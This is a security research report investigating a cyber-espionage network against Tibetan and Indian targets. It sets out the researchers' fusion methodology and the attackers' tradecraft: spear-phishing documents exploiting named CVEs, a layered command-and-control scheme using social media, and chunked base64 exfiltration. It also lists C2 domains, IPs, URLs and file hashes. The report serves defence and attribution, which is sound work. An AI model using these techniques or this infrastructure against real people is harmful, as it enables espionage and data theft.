The aim of this present investigation is to further refine the methodologies used to investigate and analyze malware networks through a fusion methodology, which combines network-based technical interrogation, data analysis and visualization, and field-based contextual investigations (See Box 2, below).
The combination of methods from different disciplines is a critical and common feature of both the GhostNet and Shadow investiga- tions and analyses.
Network-based technical interrogation, open source data mining and analysis (using tools such as Google), key informant interviews and field-based investigations on their own can accomplish a great deal, but it is through their fusion that a more comprehensive and nuanced understanding can be achieved.
Box 2.
Operationalizing the Fusion Methodology Over the past decade we have been developing a fusion methodology for investigating the exercise of political power in cyberspace.
This approach combines quantitative, qualitative and technical data, and draws on multidisciplinary analysis techniques to derive results.
In our field investigations, we conduct research among affected target audiences and employ techniques that include interviews, long-term in situ interaction with our partners, and technical data collection involving system monitoring, network reconnaissance, and interrogation.
Data and in situ analysis from field investigations are then taken to the lab where they are analysed using a variety of data fusion and visualization methods, based around the Palantir data fusion system.
Leads developed on the basis of in-field activities are pursued through technical investigations and the resulting data and analysis outputs are shared with our in-field teams and partners for verification and for generating additional entry points for follow-on field investigations.
We then interpret results from these investigations through a variety of theoretical lenses drawing from disciplines of political science, international relations, sociology, risk analysis, and criminology (among others).
We believe that through this mixed methods interdisciplinary approach we are able to develop a richer understanding than would be possible from studies that focus solely on technical analysis or that primarily consist of legal, policy or theoretical investigations.
The Shadow investigation began as a follow-up of unexplored paths discovered during the GhostNet investiga- tion.
It started in the offices of Tibetan organizations who suspected they were targets of cyber espionage, and broadened to include a much wider list of victims.
The investigation used a number of techniques, including a DNS sinkhole we established by registering domains that had previously been used by the attackers target- ing Tibetan institutions, such as a computer system at the offices of the Dalai Lama.
This reinforces our view that the combination of technical analysis and field investigation forms a fruitful starting point of inquiry that ultimately leads to important insights into the attackers capabilities, the ability to investigate a much wider domain of infected targets, and a contextual understanding of the attackers.
JR03-2010 Shadows in the Cloud - PART 1: BACKGROUND  CONTEXT 4 As was the case with GhostNet, dozens of high-level government networks, embassies, international organiza- tions and others have been penetrated, and confidential, sensitive, and private documents stolen.
The Shadows report underscores the interconnected and complex challenges of cyber security.
In particular, it points to the possibility of a perfect storm that may result from a lack of international consensus, ill-developed and imple- mented security practices, a paucity of notification mechanisms, and the growing confluence of cyber crime, traditional espionage, and the militarization of cyberspace.
1.2  About the Shadows in the Cloud Investigation: Beyond GhostNet The Tracking GhostNet report revealed a small piece of the underground cyber espionage world.
After the report was published, several of the command and control servers listed in the report and part of the network went offline.
However, targeted cyber attacks against Tibetan interests and various governments did not sud- denly cease.
The Shadowserver Foundation had also been looking into several similar cyber attacks both prior to and after the GhostNet report was published.
Approximately six months after the reports publication, the Shadowserver Foundation and the Information Warfare Monitor began a collaborative effort to further investi- gate new and related attacks, as well as any remaining parts of GhostNet.
Shadows in the Cloud thus departs from Tracking GhostNet in several ways.
Research on cyber security is rapidly developing, and several groups with widely differing skill sets and experience are working on related areas.
Information sharing, generally speaking, is immature and underdeveloped, often hampered by proprietary concerns surrounding the commercial market for cyber security services.
Progress on research in this area will only stand to benefit from greater dialogue and information sharing among security researchers.
Shadows in the Cloud was thus undertaken jointly by the Information Warfare Monitor, which itself is a collaborative engage- ment between a public and private institution, and the Shadowserver Foundation, which is an all-volunteer watchdog group of security professionals who gather, track and report on malware, botnet activity, and elec- tronic fraud.
The Information Warfare Monitor and the Shadowserver Foundation have several complementary resources and data sets.
Combining efforts in this way contributed to a much greater pool of knowledge and expertise from which to draw strategic choices along each step of the investigation, and for overall analysis.
Lastly, the information sharing that went into Shadows in the Cloud extended to the Office of His Holiness the Dalai Lama (OHHDL), the Tibetan Government in Exile (TGIE) and Tibetan non-governmental organizations.
Information sharing among victims of network intrusions and espionage is rare.
The Tibetan organizations were willing to provide access and share information with our investigation that proved to be invaluable.
Shadows in the Cloud is also distinct from Tracking GhostNet in terms of the type of data unearthed during the course of the investigation.
With GhostNet, while we were able to monitor the exfiltration of sensitive documents from computers to which we had field access, we were unable to otherwise determine which documents were stolen from victims that we had identified, and thus could only infer intentionality on the part of the attackers.
In Shadows, we were able to recover a significant volume of stolen documents, some of which are highly sensitive, from a drop zone connected to one of the malware networks under observation.
Although not unprecedented among cyber security research, access to stolen documents such as those which are analysed here offers a unique but partial insight into the type of information that can be leaked out of compromised computers.
It may even help answer some lingering questions about the intentionality and attribution of the attackers, although that is not clear by any means.
We pick up both of these threads in detail in our report below.
JR03-2010 Shadows in the Cloud - PART 1: BACKGROUND  CONTEXT 5 1.3  Research Framework Although the research that we engage in is investigatory, it is not simply a report of the facts per se.
Our aim is to engage the cyber security research community by building upon prior research in a structured, focused manner through a systematic research framework.
Several overarching research questions structure the Shadow investi- gation and our analysis.
We outline these here, and pick up on them throughout our report.
Observation and Characterization of the Ecosystem of Malware One of the aims of cyber security research is to observe and characterize the evolving nature and complex ecosystem of todays malware, botnets, cyber espionage and cyber crime networks.
This is not a simple task, as the ecosystem of malware is very much like a complex adaptive system, only one that is dispersed across multiple ecosystems, operated by clandestine actors with potential criminal and/or espionage motivations who have shown a propensity to adapt their techniques to new software tools, social networking platforms and other technologies.
Crimeware networks, which to some extent are the oldest and most widespread malware net- works, target generalized population sets in a mostly undiscriminating fashion.
Alongside crimeware networks, however, there are other networks that are more discriminating, often characterized by the use of custom-made software attacks, and which seek to exploit and infiltrate not random pools of victims but rather deliberately selected targets.
Within each of these two major types of malware networks are likely many sub-types, includ- ing networks that specialize in distributed denial of service (DDoS) attacks.
Confusing matters further is that toolkits and techniques used in one instance are borrowed from another, making classification difficult and increasingly questionable.
Being able to map the ecosystem of malware, however, is critical for research, policy and operational matters, and so is one of the primary aims of our research in Shadows in the Cloud (Adair 2010).
From Criminal Exploitation to Political Espionage?
Cyber crime is as old as cyberspace itself, and criminal networks, as alluded to above, are longstanding charac- teristics of the dark side of the Internet.
What is more novel is the use of criminal exploitation kits, techniques and networks for purposes of political espionage (Villeneuve 2010).
Debates about whether or not governments are actively involved in cyber espionage and computer network exploitation, either through agencies they control directly or through some kind of privateering, now dominate the headlines and have become part of a growing politicization of the cyber security arena.
One of the aims of our research is to discern to what extent we can impute motivations behind the attacks we document, to help understand whether in fact the networks under our observation are part of a criminal network, a political espionage network, an industrial espionage network, an opportunistic network, or some combination of these.
Such questions, it should be pointed out, are entirely distinct (though not unrelated) to the question of attribution (i.e., who is responsible?
).
We hypothesize that political espionage networks may be deliberately exploiting criminal kits, techniques and networks both to distance themselves from attribution and strategically cultivate a climate of uncertainty.
To answer these questions requires a high degree of nuance, as the information we have been able to obtain is incomplete, and so a great deal of our analysis rests on inferences made on the basis of multiple data sources and our fusion methodology (See Box 2, page 3).
Collateral Compromise Organizations from around the world have moved swiftly to adopt new information and communication technologies, and have become part of electronically linked communities in the commercial, government, and JR03-2010 Shadows in the Cloud - PART 1: BACKGROUND  CONTEXT 6 military sectors.
They exchange information as a matter of routine, across social networking and cloud comput- ing platforms, using flash drives and other portable devices, and thus become co-dependent on each others information and computer and network security practices.
The vulnerabilities of one actor can quickly and unintentionally compromise unwitting third parties, which in turn can become the basis for actionable intel- ligence against those third parties.
We hypothesize that there is a high probability for collateral compromise in any malware network because of this mutual dependence.
A key consideration, of course, is how to discern intended from unintended victims, a problem that is difficult to solve.
Actionable Intelligence around Exfiltrated Data Related to collateral compromise is the issue of the strategic value of exfiltrated data.
Access to this data can offer important clues about the motivation and attribution of the attackers.
It can also provide insight about the strategic value of the type of data that can be accessed through malware networks.
In the course of our investigation, we assumed that we would get, at best, only a partial picture of the exfiltrated data, but even that partial picture would provide some potentially meaningful information for those who acquire it.
While each in- dividual data point may be of little value, when combined with other data acquired through other means (e.g., open source searching) a very detailed operational picture can be assembled.
We try to assess and evaluate the exfiltrated data we were able to access with these issues in mind.
Attribution Examining attribution is an arduous but important component of any cyber security investigation and has become a major political issue at the highest levels around several recent cyber attacks.
In order to characterise the attackers, a variety of technical indicators as well as behavioural indicators need to be analysed (Parker et al.
2004 Parker et al.
2003).
These characteristics are interpreted in the context of the nature of the targets and the objective of the attack.
The nature and timing of the attack, the exploit, the malware, and the command and control infrastructure, are just some of the components that go into determining attribution.
Knowing the meth- ods and behaviour of the attackers as well as the character of the tools the attackers use once inside the targets network, the data that the attackers exfiltrate and where that data goes, are also crucial parts of the overall as- sessment (Bejtlich 2010 Cloppert 2009 Mandiant 2010).
Moreover, historical information and ongoing intelligence collection are crucial when trying to understand the scope of the threat (Deloitte  Touche LLP, 2010).
It is difficult to assess attribution when examining an isolated attack it is the broader patterns, connections and contextual information that inform the process.
However, it is uncommon to have a complete data set covering all aspects of the attackers operations.
Some may have access to data regarding the attackers activities once inside a particular network.
Others may have extensive collec- tions of malware samples and historical data on command and control infrastructure.
Others may have informa- tion on how the attackers use various exploits, or craft targeted spear phishing emails and other methods focused on compromising particular targets.
Others may have data retrieved from the attackers that indicate the identity of those who have been compromised.
And finally still others may have the necessary geopolitical knowledge to interpret the attacks within a broader context.
Often, investigations do not have the luxury of such a full data set and must rely on incomplete information and partial observations.
Further complicating matters is that any of this information is often dependent on mistakes made by the attackers, which typically lead to slices of an overall network instead of a comprehensive view.
Any questions concerning attribution must therefore always be set against a context of a complete consideration of alternative explanations and qualified observations.
PART 2: Methodology and Investigative Techniques JR03-2010  Shadows in the Cloud - PART 2: METHODOLOGY  INVESTIGATIVE TECHNIQUES 8 2.1  Methodology The core of the methodology employed in the Shadows in the Cloud investigation rests at the nexus of technical interrogation, field investigation, data analysis, and geopolitical, contextual research (See Box 2, page 3).
No one method alone is capable of providing a comprehensive understanding of malware networks it is through their combination that a complete picture is derived.
For example, a technical analysis of exploits and malware used by attackers alone can provide a great deal of insight into capabilities and targets.
The command and control servers used by the malware can be enumerated, and can sometimes reveal additional information that can be used to identify those who have been compromised and data that may have been exfiltrated from these targets.
However, the technical analysis of exploits and malware samples alone only provides one crucial data set.
Field research is a critical, although sometimes neglected, component of malware research.
While much of the emphasis in existing malware research is focused on technical analysis of malware samples, this purely techni- cal approach is unlikely to yield a complete picture.
For example, through field research we have found com- promised computers checking in with command and control servers that we have not seen in malware samples distributed by the attackers.
There is some evidence to suggest that attackers may migrate compromised hosts to new command and control servers and/or command compromised computers to install new malware that is not publicly disseminated through spear phishing and other targeted malware attacks.
The field research com- ponent can thus provide an equally important insight into the attackers capabilities once the targets network is compromised, as well as updated command and control locations.
Moreover, it allows for the investigation of the context surrounding the the target and why the victims may have been targeted in the first place.
Finally, the wider geopolitical considerations, derived from both field investigations and contextual research, place the collection of information in a broader context that supplies details around issues such as the timing of the at- tacks, the nature of the exploitation, including the use of any social engineering techniques, and potentially the identity and motivation of the attackers.
We present our methodology in the following sequence  field investigation first, followed by technical investi- gations.
However, in practice the two are iterative processes.
In some circumstances, field investigations begin first, followed by technical investigations, while in other cases the opposite is true.
In this case, a technical- based investigative technique (sinkhole analysis) is probably the closest to an actual starting point, although even that method was informed by prior knowledge derived from field and contextual research reaching back to the Tracking GhostNet report.
In almost all circumstances, geopolitical and contextual research informs both the technical and field research components.
In practice, therefore, fusion methodology is a holistic, non-linear approach, but one that takes place in a very structured and focused fashion.
2.2  Field Investigation Our objective is to ultimately understand the capabilities and motivations of those engaged in targeted malware attacks.
Field research provides critical insight into the methods and operations of the attackers.
By analyzing computers at locations that are routinely targeted by (similar) attackers, we aim to identify portions of com- mand and control infrastructure that the attackers use for particular targets as well as document the type of data that the attackers exfiltrate from the targets.
However, our research aims to be more than just extracting information from those who have been compromised.
JR03-2010  Shadows in the Cloud - PART 2: METHODOLOGY  INVESTIGATIVE TECHNIQUES 9 The Tracking GhostNet investigation revealed significant compromises at Tibetan-exile and Indian targets.
It was also found that Indian government related entities, both in India proper and throughout the world, had been thoroughly compromised.
These included computers at Indian embassies in Belgium, Serbia, Germany, Italy, Kuwait, the United States, Zimbabwe, and the High Commissions of India in Cyprus and the United Kingdom.
During the GhostNet investigation we had discovered evidence of multiple infections for which the information available was incomplete, and to which we wanted to return for follow up.
In particular, we found one piece of malware uploading sensitive documents.
Another report published soon after Tracking GhostNet, entitled The Gh0st in the Shell: Network Security in the Himalayas, analysed the network traffic of Air Jaldi, a community WiFi network in Dharamsala, India.
It found that computers in Dharamsala were connecting with two of the control servers documented in our report (Vallentin et al.
2009).
With the aim of focusing on both these wider pattern of compromises, and the hanging threads from the previ- ous investigation, we worked with our existing approach, informed by the view that collecting data as close to the intended target as possible was likely to yield actionable evidence of breaches that could be followed through to their source, lead to wider pools of target sets, and yield information on the attackers.
In conducting the field research we were influenced by the Action Research (AR) literature (Lewin 1946 Curle 1947) that has evolved since the 1940s, as well as other field-based investigation and research techniques.
The AR field-based approach feeds into the fusion methodology that guides our overall investigatory process.
It employs ethical and participatory observations and structured focused interviews.
We combined this grounded research with technical interrogation, including network monitoring activities.
As with GhostNet, we were fortunate to have the cooperation of Tibetan organizations, and benefited tremendously from the willingness of His Holiness the Dalai Lama and other Tibetans to share information with our investigators.
As a result, for the Shadow investigation we conducted primary field research in Dharamsala, India from August until December 2009.
(
Dharamsala is the location of the OHHDL as well as the TGIE).
The primary objectives of the field investigations were to research the wider patterns of compromised Indian and Tibetan related targets, investigate the reports of targeted malware attacks that have emerged from the Tibetan community, and raise information and computer security awareness within the Tibetan community and assist in their security planning and implementation.
Throughout the field investigation process, we also investigated the broader social, political, military, and intelligence context.
We conducted extensive on-site interviews with officials in the Tibetan Government-in-Exile, the Office of the Dalai Lama and Tibetan NGOs.
These interviews allowed us to gain an understanding of the security practices and network infrastructure of compromised locations.
We also used network monitoring software during field investigations in order to collect technical data from compromised computer systems and perform an initial analysis to confirm the existence of malware and the transfer of information between compromised computers and command and control serv- ers.
The network monitoring tools allowed us to collect samples from compromised computers and identify command and control servers used by the attackers.
The network monitoring was undertaken with the explicit consent of the Tibetan organizations.
While monitoring the network traffic of a local NGO, Common Ground, as part of an Internet security audit, traffic from a local WiFi mesh network, TennorNet was also captured, revealing malicious activity.
An anomaly was detected when analyzing this traffic: computers in Dharamsala were beaconing or checking in with a com- mand and control server (jdusnemsaz.com/119.84.4.43) located in Chongqing, PRC.
The location of Chongqing is contextually interesting as it has a high concentration of Triads  well known Asian-based organized crimi- nal networks  who have significant connections to the Chinese government and the Chinese Communist Party (Lam 2009).
The Triads have extended their traditional criminal activities to include technology-enabled crime JR03-2010  Shadows in the Cloud - PART 2: METHODOLOGY  INVESTIGATIVE TECHNIQUES 10 such as computer software piracy and credit card forgery and fraud (Choo 2008).
An investigation revealed that the computer on TennorNet generating the malicious traffic belonged to Mr. Serta Tsultrim, a Tibetan Member of Parliament, editor of of the weekly Tibetan language newspaper Tibet Express and the director of the Khawa Karpo Tibet Culture Centre.
Tsultrim is also the coordinator of the Association of Tibetan Journalists (ATJ).
We probed for his threat perception, and who he felt might be targeting him and why.
We sought to establish his perception of what documents and correspondence might be particularly sensitive.
Tsultrim was particularly concerned about this network being compromised.
Following the discovery of this compromise, we approached the OHHDL and formally requested permission to audit network traffic to determine whether we could identify similar beacon packets associated with the command and control server (jdusnemsaz.com/119.84.4.43).
A representative of OHHDL agreed that we could access the office network under an agreement similar to the initial GhostNet investigation.
In consultation with OHHDL staff, we focused our attention on the desktop machines that were most likely to be compromised, and commenced a network tap of a number of workstations.
Interestingly, it was one of these workstations that was the origin of the GhostNet investigation, where we had observed sensitive documents being exfiltrated in September 2008.
Almost immediately we identified malicious traffic connecting with the command and control server (jdusnemsaz.com/119.84.4.43).
Our next step was to refer to the management interface in the ICSA-certified Cyberoam firewall that the OHHDL had installed in their network as part of their extensive upgrading of security procedures in the wake of the GhostNet breach.
We isolated all outbound traffic to the command and control server and identified any other machines on the office Local Area Network that were currently, or had recently, been communicating with the command and control server.
From the Cyberoam interface we were able to identify one other machine that was compromised.
We proceeded to tap the traffic from this machine and began to see domain names associated with the distributed social media command and control channels that we would later identify in the lab as part of the command and control infrastructure.
Similarly, the lab investigation was able to reconstruct the documents that were exfiltrated from OHHDL machines and we were able to brief OHHDL on the extent of the breach.
2.3  Technical Investigative Activities Our technical investigation was comprised of several interrelated components: DNS Sinkholing   - Through registering expired domain names previously used in cyber espionage attacks as command and control servers, we were are able to observe incoming connections from still-compromised computers.
This allowed us to collect information on the methods of the attackers as well as the nature of the victims.
Malware Analysis   - We collected malware samples from a variety of attacks that allowed us to determine the exploits the attackers used, the theme used to lure targets into executing the malware, as well as the command and control servers used by the attackers.
We also analysed additional malware found on servers under the control of the attackers.
Malware samples consisted primarily of the files with the PDF, DOC, PPT and EXE file extensions.
Command and Control Server Topography   - We were able to map out the command and control infrastruc- ture of the attackers by linking information from the sinkhole, the field investigations and the malware analy- sis.
We collected the domain names, URL paths and IP addresses used by the attackers.
This allowed us to find links between our research and other command and control servers observed in other attacks in prior research.
JR03-2010  Shadows in the Cloud - PART 2: METHODOLOGY  INVESTIGATIVE TECHNIQUES 11 Victim Identification   - We were able to identify victims that the attackers had compromised by analyzing sinkhole server connections, recovering documents that had been exfiltrated, and viewing control panels used by the attackers to direct the compromised computers.
Data Recovery   - We were able to retrieve documents that had been sent to drop zones from victim systems and stolen by the attackers.
We carried out this research carefully, guided by principles rooted in the computer security field (Burstein 2008 Cooke et al.
2005 Stone-Gross et al.
2009 Smith and Toppel 2009).
Our aim was to understand and document the activities of the attackers as well as gather enough information to enable notification of those who had been compromised.
The principles that guided our field and technical investigations include the following: We collected network data in the field from computers that had been compromised by malware with the consent of the owners of the computers.
We monitored command and control infrastructure and recovered exfiltrated data in order to gather enough information to understand the activities of the attackers and obtain enough information to enable notifica- tion of the victims before moving to notify the service providers and hosting companies to seek to have the networks shut down.
We worked with government authorities in multiple jurisdictions to notify those who had been compro- mised and to take down the attackers command and control infrastructure.
We were careful to store and handle all of the data we collected in a secure manner.
PART 3: Mapping the Shadows in the Cloud JR03-2010  Shadows in the Cloud - PART 3: MAPPING THE SHADOWS IN THE CLOUD 13 In order for us to begin to map the Shadows in the Cloud, it was important for us to have clear starting points.
The first and easiest starting point that we identified was to look back at what was related to and still opera- tional from the previous Tracking GhostNet report.
We focused primarily on the domains described in GhostNet and set out to see what we could learn from them in their current state.
The second was to continue collecting and analyzing information on attacks gleaned from field research and reports that were shared with us by third- parties.
Each of these starting points branched off from one another and crossed paths in various ways, reveal- ing at least two distinct cyber espionage networks.
We previously mentioned that a large portion of the domain names mentioned in Tracking GhostNet went offline following the initial report.
As a result, several of the domain names described in it were abandoned.
The do- mains ultimately expired and were available for re-registration.
This gave us the opportunity to take over these domains and monitor any connections that might come to them.
Doing this allowed us to see connections from victims that were still infected, and learn more about how the command and control server was configured.
The Shadowserver Foundation has utilized this technique for a long time (Higgins 2008).
The investigation was broadened further when field research by the Information Warfare Monitor crossed paths with research being done by the Shadowserver Foundation.
The field research revealed that a computer system in the OHHDL had been compromised by at least two different types of malware associated with targeted malware intrusions.
Based on our understanding of the malware, the domains and on-going research, we assess that this compromise also involved at least two different cyber espionage groups and potentially even a third one.
Analysis of several malware components and their associated command and control servers ultimately led to the discovery of an accessible drop zone for documents being siphoned off compromised systems.
The attackers command and control infrastructure is a critical component of maintaining persistent access to compromised computers.
Through this infrastructure, the attackers issue commands to the compromised ma- chines as well as exfiltrate data to drop zones or to the command and control servers themselves.
By carefully examining the relationships between command and control servers we were able to map out the extent of one such network and link it with other similar malware networks.
This report focuses on only one of these networks, one that we have named the Shadow network.
This is a complex network that leveraged social networking websites, webmail providers, free hosting providers and services from some of the largest companies on the Internet as disposable command and control locations.
The first layer of control used blogs, newsgroups, and social networking services to maintain persistent control as these system are unlikely to be detected as malicious.
As compromised computers accessed these services, they received another command and control location, often located on free web hosting providers.
The com- mand and control servers on the free hosting services are often disabled over time  most likely due to reports of malicious activity.
When the command and control servers on free web hosting services were disabled, the compromised systems would receive commands from the social networking layer and then beacon (i.e., attempt a connection) to a more stable inner core of dedicated systems located in the PRC.
Unlike the command and control servers on free web hosting services, these dedicated servers hosted in the PRC have proven to be quite stable over time.
JR03-2010  Shadows in the Cloud - PART 3: MAPPING THE SHADOWS IN THE CLOUD 14 3.1  Analysis of Data while in the Field During the field investigation we collected samples of network traffic from computers at the OHHDL and other Tibetan-related locations.
Inspection of network traffic from these computers revealed that at least three of them were compromised and were communicating with the same set of command and control servers.
The traffic analysis revealed that these systems were all connecting to the domain jdusnemsaz.com.
At the time it resolved to the IP address 119.84.4.43, which is assigned to China Telecom in the province of Chongqing, PRC.
The com- mands sent by the command and control server were identical to malware we found at the Tibetan NGO Drewla and the OHHDL during our GhostNet investigation a year earlier, although were not part of the network that was described in that initial report.
There is a similarity between the commands sent by the command and control server jdusnemsaz.com and a previously identified control server, lookbytheway.net.
In both cases, the network traffic captured from the compromised computers revealed that the malware was exfiltrating sensitive documents.
Table 1: Command and Control: Similarities with previous attacks OHHDL (T) Nov 2009 OHHDL (D) Nov 2009 TIBETAN MP Oct 2009 Drewla Sep 2008 jdusnemsaz.com 119.84.4.43 jdusnemsaz.com 119.84.4.43 jdusnemsaz.com 119.84.4.43 lookbytheway.net 221.5.250.98 /two/zq2009/index.php NQueryFileop /two/zq2009/index.php NQueryFileop /two/zq2009/index.php NQueryFileop /cgi-bin/NQueryFileop NQueryFileop Further analysis of the network traffic also revealed that at least one of the systems was infected with additional malware not associated with the aforementioned command and control servers.
The system was attempting DNS resolutions of multiple hostnames.
Two of the hostnames resolved to IP addresses but were not available when the system attempted to communicate to them.
The other hostname did not resolve at all.
The failed DNS resolution was for www.assam2008.net, which is a domain that has been used by a different group of attackers in the past in conjunction with the Enfal trojan, and suggests a limited connection between the current malware under investigation and malware used in previous attacks on other targets.
This domain name was available for registration and was added to our ongoing sinkhole project.
While recording network traffic in the field, we observed the attackers removing two senstive documents from the OHHDL (see fig.
1, page 15).
The data was compressed using CAB, split into 100kb chunks when neces- sary, encoded with base64, and then uploaded to a command and control server.
In this case, data was being uploaded to c2etejs.com, which is hosted on the same IP address (119.84.4.43) as jdusnemsaz.com.
We reconstructed the documents that were exfiltrated from the OHHDL: letters - current.doc and letters - master 2009.doc (see fig.
2, page 15).
The documents contained over 1,500 letters sent from the Dalai Lamas office between January and November 2009.
While many of the letters are perfunctory  responses to various invitations and interview requests  they allow the attackers to collect information on anyone contacting the Dalai Lamas office.
Moreover, there are some communications contained within these documents that could be considered sensi- tive, such as communications between the OHHDL and Offices of Tibet around the world.
Some communications contain generic information of the Dalai Lamas travelling details including schedule of appearances  but very little that could not be established through open sources and publicly available information on the internet.
JR03-2010  Shadows in the Cloud - PART 3: MAPPING THE SHADOWS IN THE CLOUD 15 Figure 1: A screen capture of a sensitive document being uploaded to a command and control server.
Figure 2: The Word Documents Exfiltrated from the OHHDL JR03-2010  Shadows in the Cloud - PART 3: MAPPING THE SHADOWS IN THE CLOUD 16 3.2  Technical Investigation During the technical investigation we examined the data collected from the field, third-party sources, and from our DNS sinkhole project in order to determine the attack vectors used to exploit and compromise the victims.
While we were unable to determine how any one individual computer came to be compromised, we document- ed a variety of exploits used by the attackers.
We mapped out the broader command and control infrastructure by discovering new pieces of malware located on servers that we identified, and catalogued any new servers that these instances of malware were configured with.
We also looked at domains that were co-hosted on the same servers we had already identified, and used searches to identify Twitter, Google Groups, Blogspot, Baidu Blogs, blog.com, and Yahoo Mail accounts that were misused by the attackers to update compromised comput- ers with new command and control locations.
We also discovered a panel or listing of compromised computers.
During our investigation into one of the servers we made a significant discovery: we were able to recover data that was being exfiltrated by the attackers from compromised computers.
These documents were only available on the command and control server for a short time after being uploaded by the compromised systems, as the attackers frequently removed them at irregular time intervals.
3.2.1 Attack Vectors / Malware Victims of cyber espionage are often specifically targeted by the attacker and not by happenstance.
While it is possible for a cyber criminal to mass-distribute malware across the Internet with specific intent to compromise a select set of individuals or organizations, it is not likely to be the most effective tool for the intended job.
The differences in approaches, based on an analysis of tools and kits, can therefore provide some insight into the branching of cyber espionage from cyber crime, or at least help distinguish more connected attackers from less connected ones.
The varying levels of sophistication in tools, research and delivery set these actors apart, can make them more or less effective, and establish their level of connection within the underground com- munity.
A very sophisticated attacker, for example, will likely be part of a network in the criminal underground that has access to the latest exploits and kits that generate files with exploits to install their malicious payload.
These kits and files are not readily available to the average cyber criminal.
A slightly less sophisticated attacker might have access to the same kits and exploits once the vulnerability has been publicly disclosed, but prior to there being a security patch issued for them.
While from time to time various methods of generating malicious PDFs and other document types will appear on websites like the Metasploit (www.metasploit.com) and mil- w0rm (www.milw0rm.com), the vast majority of these exploits and kits are not available publicly.
The ability to successfully compromise a target relies on more than just code designed to exploit vulnerabilities in software  it requires exploiting the human element as well (Nolan and Levesque 2005).
The digital traces individuals leave behind on the Internet can be used to manipulate trust, and are used by attackers to encourage targets to execute malicious code on their systems.
The first phase of a targeted attack usually involves an information acquisition phase, in which information on potential targets is compiled from a variety of public sources, including social and professional networking sites, conference proceedings, academic papers and project information, in order to generate a profile of the target (Smith and Toppel 2009).
Targeted malware attacks often leverage publicly available information to make their social engineering attempts more plausible.
Individuals are much more likely to become victims of targeted attacks if malware is sent to them from what appears to be an acquaintance or a colleague (Jagatic et al.
2007).
Targeted malware attacks are, in many cases, personalised at the individual or organizational level.
Moreover, an attacker may leverage the credentials of a previously compromised acquaintance to add increased levels of legitimacy to the attack.
As a result, the attackers are able to convince the target into executing malicious code on their own computer, thus JR03-2010  Shadows in the Cloud - PART 3: MAPPING THE SHADOWS IN THE CLOUD 17 resulting in the attackers gaining full control.
Typically, a user receives an email, possibly appearing to be from someone that they know who is a real person within his or her organization, with some text  sometimes specific, sometimes generic  that urges the user to open an attachment (or visit a web site), usually a PDF or Microsoft Office document (e.g., DOC, PPT, XLS and others).
These attacks may be spoofed or even come from the real email account of someone else who has fallen victim to a similar attack, in what can be called a man-in-the-mailbox attack (Markoff and Barboza 2010).
If the user opens the attachment with a vulnerable version of Adobe Reader or Microsoft Office (other types of software are also being exploited) and no other mitigations are in place, their computer will likely be compromised (F-Secure 2010).
A clean version of the document is typically embedded in the malicious file and is opened upon successful exploitation, so as not to arouse suspicion of the recipient.
What is done next is then only limited to the imagination and abilities of the attacker.
In a recent report, Symantecs Message Labs revealed that the bulk of the targeted email attacks that they have studied originates from the PRC (28.2), Romania (21.1) and the United States (13.8).
Leveraging business-related information or popular topics in the news, the attackers largely target those with a a high or medium ranking seniority within an organization.
The most freguently targeted individuals include defence policy experts, diplomatic missions, and human rights activists and researchers (Symantec 2010).
The antivirus detection for these documents is usually relatively low, and if the exploit is a 0day  an exploit for which there is no fix from the vendor available  the chances of compromise are very good.
In the attacks documented in this report, the users computer checks in with a command and control server after it is compromised.
Our attackers used free services from various providers to instruct infected systems to beacon to new command and control servers that were setup and fully managed by them.
This check-in or bea- coning activity is conducted using an HTTP connection and blends in with normal web traffic.
When beaconing the compromised computer sends some information, usually its IP address and operating system information, and receives a command which it then executes.
At this point the attacker has full control of the users system.
The attacker can steal documents, email and send other data, or force the compromised computer to download additional malware and possibly use the infected computer as a mechanism to exploit the victims contacts or other computers on the target network.
In our examination of the network, it appeared systems were most frequently instructed to upload documents and download additional executables.
3.2.2 Malicious Documents and Command and Controls While we only have limited insight into the motivations and methods of the attackers, we believe they infected victims primarily via email using social engineering techniques to convince their victims to open malicious file attachments, as described above.
The people behind the Shadow attacks used a variety of exploits and filetypes to compromise their victims.
We observed the group using PDF, PPT, and DOC file formats to exploit Adobe Acrobat and Acrobat Reader, Microsoft Word 2003 and Microsoft PowerPoint 2003.
The themes of their attacks appear to involve topics that would likely be of interest to the Indian and Tibetan communities.
This can be observed through the file names of the malicious exploit files, as well as looking at the clean or non-malicious files they then open after exploitation.
We were able to obtain dozens of exploit files that were used by the attackers when targeting their victims.
The Microsoft Word 2003 and PowerPoint 2003 files were mostly older exploits, which have been circulating in the underground hacker community for some time.
The PDF files, on the other hand, took advantage of much more recent exploits at the time of their use.
We observed them using PDF files that exploited CVEs 2009-0927, JR03-2010  Shadows in the Cloud - PART 3: MAPPING THE SHADOWS IN THE CLOUD 18 2009-2990, and 2009-4324 within a few weeks or months of the vulnerability being first patched.
Our research did not reveal them using exploits that were 0day at the time, but we only have limited insight into their attacks and may have easily not been privy to information from such attacks at the time.
It is also worth noting that the exploits they used in their attacks are not generated from freely available tools or publicly posted exploit code.
Our attacks appear to have some level of access to PPT, DOC, and PDF exploit generation kits that allow them to create exploit files on the fly that install their malware.
Table 2 below is a sampling of each of the malicious document file formats that we observed and analyzed that were used by these attackers in targeted attacks.
Table 2: Malicious Document File Formats Date 2009-08-11 Filename Sino-India_Border.ppt File Type PPT Target Microsoft PowerPoint 2003 MD5 c35b3ea71370cb5bfe2b523c17705ecb C2 (initial) Stage 1: http://groups.google.com/group/estolide/feed/rss_v2_0_msgs.xml C2 (cmd)  Stage 2: http://www.idefesvn.com/test/ieupdate.php Date 2010-01-08 Filename Schedule2010_of_HHDL.pdf File Type PDF Targeted Adobe Acrobat/Reader (CVE-2009-0927) MD5 dfc76b1f94ec13cbd8ae3b3371f23841 C2 (initial) Stage 1: http://groups.google.com/group/tagyalten/feed/rss_v2_0_msgs.xml C2 (cmd) Stage 2: http://www.c2etejs.com/kk/all.php Date 2009-08-20 Filename China_should_break_up_India.doc File Type DOC Target Microsoft Word 2003 MD5 17a26441eb2be5efb8344e53cbd7d499 C2 (initial) Stage 1: http://hiok125.blog.com C2 (cmd) Stage 2: http://www.erneex.com/boboshell/all.php 3.2.3 Malicious Binaries found on Command and Controls During our investigation we were able to acquire twenty-seven malicious binaries used by the attackers.
While many of them contain functionality similar to the malicious payload of the document types enumerated above as well as common command and control server locations there were several binaries whose functionality dif- fered significantly.
We discovered that two of the binaries were using Yahoo Mail accounts as an element of command and con- trol.
More specifically, in addition to checking in with the Yahoo Mail accounts, new malicious binaries were pushed to the compromised computers from the email account.
